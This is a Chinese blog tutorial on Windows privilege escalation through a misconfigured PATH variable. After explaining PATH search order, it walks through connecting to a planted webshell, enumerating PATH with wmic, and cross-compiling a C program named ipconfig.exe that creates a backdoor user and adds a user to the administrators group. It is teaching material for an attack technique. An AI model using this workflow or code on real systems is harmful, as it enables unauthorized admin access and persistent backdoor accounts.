windows提权之环境变量配置错误

0xc4Sec

已于 2023-05-16 15:08:13 修改

阅读量897

点赞数 1

分类专栏： # Windows提权文章标签：大数据

于 2022-07-11 17:17:03 首次发布

本文链接：https://blog.csdn.net/Z526209693/article/details/125482762

版权

Windows提权专栏收录该内容

1 篇文章 0 订阅

订阅专栏

前瞻

在学习提权之前，我们先了解什么是路径？

路径有两种类型：绝对路径和相对路径。绝对路径始终包含根元素和用于查找特定文件或文件夹的完整目录列表。查找文件或文件夹所需的所有信息都在绝对路径中可用。这与相对路径不同，相对路径通常与其他路径组合以访问文件。

绝对路径是指从根元素开始到以其他子目录结束的查找文件或文件夹所需的完整详细信息。在网站和操作系统中使用绝对路径来定位文件和文件夹。绝对路径也称为绝对路径名或完整路径。

一.原理

PATH环境变量包含了很多目录列表，某些执行程序的方法（使用cmd.exe或命令行）仅依赖于PATH环境变量来确定未提供程序路径时搜索程序的位置。简单说就是当用户在cmd命令行中运行一个命令时，若是没有使用绝对路径运行，如c:\windows\system32\ipconfig.exe，直接在cmd中运行ipconfig，那么windows会先在当前目录寻找ipconfig.exe，若是没有找到，会根据PATH环境变量里的目录依次进行寻找。
通常新增PATH环境变量是在末尾处添加，若是由于配置不当，导致在最前面新增环境变量，那么此目录下新建与常用系统命令一样名字的exe程序会优先执行。

总结：系统没有使用绝对路径去运行程序，导致可以运行具有相同名字的恶意程序，实现提权利用。

二.利用思路

1.连接后门，信息收集

（1）使用冰蝎等后门连接工具连接上我们的马后，在【命令执行】模块，执行命令

wmic ENVIRONMENT where “name=’PATH’” get Username,VariableValue //查看目标主机PATH环境变量配置情况。

2.提权

（1）执行exp，生成恶意文件

使用在Kali根目录下编写好的exp文件，并执行命令

i686-w64-mingw32-gcc exp.c -o ipconfig.exe（所需运行程序） -mwindows

编写C程序实现新建隐藏用户White，并将该用户添加到管理员组中。命令执行成功后会生成ipconfig.exe程序
添加用户EXP：

#include<stdlib.h>
int main()
{
int i ;
int j;
i=system（"net user White test@123. /add");  //添加test用户
j=system("net localgroup administrators as /add"); //将新添加的用户加入超级管理员组
return 0;
}